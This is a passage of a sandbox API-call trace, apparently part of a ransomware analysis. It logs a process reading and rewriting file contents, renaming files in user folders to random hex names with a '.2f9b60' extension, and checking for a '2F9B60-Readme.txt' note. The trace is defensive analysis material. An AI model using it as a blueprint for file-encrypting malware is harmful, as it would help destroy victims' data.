liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.108] ReadFile (in: hFile=0xec0, lpBuffer=0x41c22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37b8fb60, lpOverlapped=0x0 | out: lpBuffer=0x41c22d00*, lpNumberOfBytesRead=0x37b8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0114.113] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9160) returned 1 [0114.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c26910 [0114.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0114.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.115] WriteFile (in: hFile=0xec0, lpBuffer=0x41c26910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37b8fb60, lpOverlapped=0x0 | out: lpBuffer=0x41c26910*, lpNumberOfBytesWritten=0x37b8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c26910) returned 1 [0130.137] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x250800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.138] ReadFile (in: hFile=0xec0, lpBuffer=0x41c22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37b8fb60, lpOverlapped=0x0 | out: lpBuffer=0x41c22d00*, lpNumberOfBytesRead=0x37b8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.140] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x250800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0130.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261340) returned 1 [0130.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c26910 [0130.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0130.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0130.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0130.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.141] WriteFile (hFile=0xec0, lpBuffer=0x41c26910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37b8fb60, lpOverlapped=0x0) [0170.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c26910) returned 1 [0170.985] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x49a859, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.985] ReadFile (in: hFile=0xec0, lpBuffer=0x41c22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37b8fb60, lpOverlapped=0x0 | out: lpBuffer=0x41c22d00*, lpNumberOfBytesRead=0x37b8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0171.159] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x49a859, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf80 [0171.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf80) returned 1 [0171.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ff200 [0171.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf80 [0171.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfb0 [0171.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cfb0) returned 1 [0171.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.161] WriteFile (in: hFile=0xec0, lpBuffer=0x420ff200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37b8fb60, lpOverlapped=0x0 | out: lpBuffer=0x420ff200*, lpNumberOfBytesWritten=0x37b8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ff200) returned 1 [0194.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf280 [0194.617] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.617] WriteFile (in: hFile=0xec0, lpBuffer=0x134680*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x37b8fc10, lpOverlapped=0x0 | out: lpBuffer=0x134680*, lpNumberOfBytesWritten=0x37b8fc10*=0x14e, lpOverlapped=0x0) returned 1 [0201.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0201.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0201.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260230 [0201.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260230) returned 1 [0201.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20260230 [0201.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0201.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0201.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606e0) returned 1 [0201.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0201.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0201.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce5bc50 [0201.998] sprintf (in: _Dest=0x1ce5bc50, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.998] sprintf (in: _Dest=0x1ce5bc52, _Format="%c%c" | out: _Dest="5a") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc54, _Format="%c%c" | out: _Dest="40") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc56, _Format="%c%c" | out: _Dest="8c") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc58, _Format="%c%c" | out: _Dest="d4") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc5a, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc5c, _Format="%c%c" | out: _Dest="3a") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc5e, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc60, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc62, _Format="%c%c" | out: _Dest="dd") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc64, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc66, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc68, _Format="%c%c" | out: _Dest="28") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc6a, _Format="%c%c" | out: _Dest="01") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc6c, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc6e, _Format="%c%c" | out: _Dest="82") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc70, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc72, _Format="%c%c" | out: _Dest="69") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc74, _Format="%c%c" | out: _Dest="31") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc76, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc78, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc7a, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc7c, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc7e, _Format="%c%c" | out: _Dest="54") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc80, _Format="%c%c" | out: _Dest="49") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc82, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc84, _Format="%c%c" | out: _Dest="90") returned 2 [0201.999] sprintf (in: _Dest=0x1ce5bc86, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.999] RtlInitAnsiString (in: DestinationString=0x37b8fc88, SourceString="5b5a408cd49a3aff2fdde5c528017c820a69312cea2a2d5449d8902c" | out: DestinationString="5b5a408cd49a3aff2fdde5c528017c820a69312cea2a2d5449d8902c") [0202.000] RtlAnsiStringToUnicodeString (in: DestinationString=0x37b8fc58, SourceString="5b5a408cd49a3aff2fdde5c528017c820a69312cea2a2d5449d8902c", AllocateDestinationString=1 | out: DestinationString="5b5a408cd49a3aff2fdde5c528017c820a69312cea2a2d5449d8902c") returned 0x0 [0202.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42061f30 [0202.000] wcscat (in: _Dest=0x42060930, _Source="5b5a408cd49a3a" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a") returned="C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a" [0202.000] wcscat (in: _Dest=0x42060930, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a.2f9b60") returned="C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a.2f9b60" [0202.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a.2f9b60", NtPathName=0x37b8fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Music\\Sample Music\\5b5a408cd49a3a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43197bc0 [0222.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197bc0) returned 1 [0222.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f810) returned 1 [0222.136] NtQueryInformationFile (in: FileHandle=0xec0, IoStatusBlock=0x37b8fc98, FileInformation=0x37b8fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37b8fc98, FileInformation=0x37b8fca8) returned 0x0 [0222.136] NtSetInformationFile (FileHandle=0xec0, IoStatusBlock=0x37b8fc98, FileInformation=0x37b8fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0224.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0224.138] FlushFileBuffers (hFile=0xec0) returned 1 [0224.245] CloseHandle (hObject=0xec0) returned 1 [0225.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85f310 [0225.429] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\Public\\Music\\Sample Music\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0225.429] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" [0225.429] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\music\\sample music\\2f9b60-readme.txt")) returned 0x20 [0225.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0225.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ec60) returned 1 Thread: id = 1195 os_tid = 0xd00 [0114.118] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0114.122] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url", dwFileAttributes=0x20) returned 1 [0114.124] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0114.124] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x377bfda0 | out: lpFileSize=0x377bfda0*=133) returned 1 [0114.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.125] NtQuerySystemTime (in: CurrentTime=0x377bfc60 | out: CurrentTime=0x377bfc60*=132462177195814000) returned 0x0 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x40c4c087 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x4a04fe85 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x407d3452 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x8cf833e [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x507e22d1 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x14b39ea3 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x723bcc13 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x3354ca7c [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x4bbac934 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x364a352b [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x19e03e31 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x2d9a6234 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x5a1ee8bc [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x958d35a [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x70d79c21 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x668df1d8 [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x7b788b [0114.125] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x469acb1c [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x61efdcc7 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x23478478 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x68cf2a60 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0xf107750 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x4899da0a [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x4f71f09e [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x5be9141e [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x26a21e8a [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x53457c7a [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x19528012 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x674a7837 [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x28aa1cda [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x7282234e [0114.126] RtlRandomEx (in: Seed=0x377bfc50 | out: Seed=0x377bfc50) returned 0x3dcfed88 [0114.140] ReadFile (in: hFile=0xebc, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x377bfc50, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x377bfc50*=0x85, lpOverlapped=0x0) returned 1 [0114.143] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.143] WriteFile (in: hFile=0xebc, lpBuffer=0x41c2e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x377bfc54, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesWritten=0x377bfc54*=0x85, lpOverlapped=0x0) returned 1 [0114.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0114.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2e130) returned 1 [0114.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2a520) returned 1 [0114.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0170 [0114.146] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.146] WriteFile (in: hFile=0xebc, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x377bfd70, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x377bfd70*=0x116, lpOverlapped=0x0) returned 1 [0114.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262f00 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0114.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0114.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9dfd0 [0114.149] sprintf (in: _Dest=0x1cd9dfd0, _Format="%c%c" | out: _Dest="6d") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfd2, _Format="%c%c" | out: _Dest="5c") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfd4, _Format="%c%c" | out: _Dest="4c") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfd6, _Format="%c%c" | out: _Dest="d5") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfd8, _Format="%c%c" | out: _Dest="38") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfda, _Format="%c%c" | out: _Dest="89") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfdc, _Format="%c%c" | out: _Dest="5a") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfde, _Format="%c%c" | out: _Dest="69") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfe0, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfe2, _Format="%c%c" | out: _Dest="ec") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfe4, _Format="%c%c" | out: _Dest="91") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfe6, _Format="%c%c" | out: _Dest="99") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfe8, _Format="%c%c" | out: _Dest="a3") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfea, _Format="%c%c" | out: _Dest="9e") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfec, _Format="%c%c" | out: _Dest="45") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dfee, _Format="%c%c" | out: _Dest="7e") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dff0, _Format="%c%c" | out: _Dest="7c") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dff2, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dff4, _Format="%c%c" | out: _Dest="65") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dff6, _Format="%c%c" | out: _Dest="cd") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dff8, _Format="%c%c" | out: _Dest="0d") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dffa, _Format="%c%c" | out: _Dest="f3") returned 2 [0114.150] sprintf (in: _Dest=0x1cd9dffc, _Format="%c%c" | out: _Dest="0e") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9dffe, _Format="%c%c" | out: _Dest="79") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e000, _Format="%c%c" | out: _Dest="77") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e002, _Format="%c%c" | out: _Dest="3e") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e004, _Format="%c%c" | out: _Dest="a7") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e006, _Format="%c%c" | out: _Dest="5c") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e008, _Format="%c%c" | out: _Dest="e2") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e00a, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e00c, _Format="%c%c" | out: _Dest="8b") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e00e, _Format="%c%c" | out: _Dest="45") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e010, _Format="%c%c" | out: _Dest="57") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e012, _Format="%c%c" | out: _Dest="2b") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e014, _Format="%c%c" | out: _Dest="b1") returned 2 [0114.151] sprintf (in: _Dest=0x1cd9e016, _Format="%c%c" | out: _Dest="76") returned 2 [0114.151] RtlInitAnsiString (in: DestinationString=0x377bfde8, SourceString="6d5c4cd538895a699bec9199a39e457e7c9b65cd0df30e79773ea75ce29b8b45572bb176" | out: DestinationString="6d5c4cd538895a699bec9199a39e457e7c9b65cd0df30e79773ea75ce29b8b45572bb176") [0114.151] RtlAnsiStringToUnicodeString (in: DestinationString=0x377bfdb8, SourceString="6d5c4cd538895a699bec9199a39e457e7c9b65cd0df30e79773ea75ce29b8b45572bb176", AllocateDestinationString=1 | out: DestinationString="6d5c4cd538895a699bec9199a39e457e7c9b65cd0df30e79773ea75ce29b8b45572bb176") returned 0x0 [0114.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c0b0 [0114.152] wcscat (in: _Dest=0x4205c1f0, _Source="6d5c4cd538895a699b" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b" [0114.152] wcscat (in: _Dest=0x4205c1f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b.2f9b60") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b.2f9b60" [0114.152] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b.2f9b60", NtPathName=0x377bfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\6d5c4cd538895a699b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0114.152] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x377bfe30, FileInformation=0x20279970, Length=0xae, FileInformationClass=0xa) returned 0x0 [0114.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.155] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x377bfdf8, FileInformation=0x377bfe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x377bfdf8, FileInformation=0x377bfe08) returned 0x0 [0114.155] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x377bfdf8, FileInformation=0x377bfe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c1f0) returned 1 [0114.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c0b0) returned 1 [0114.157] FlushFileBuffers (hFile=0xebc) returned 1 [0114.160] CloseHandle 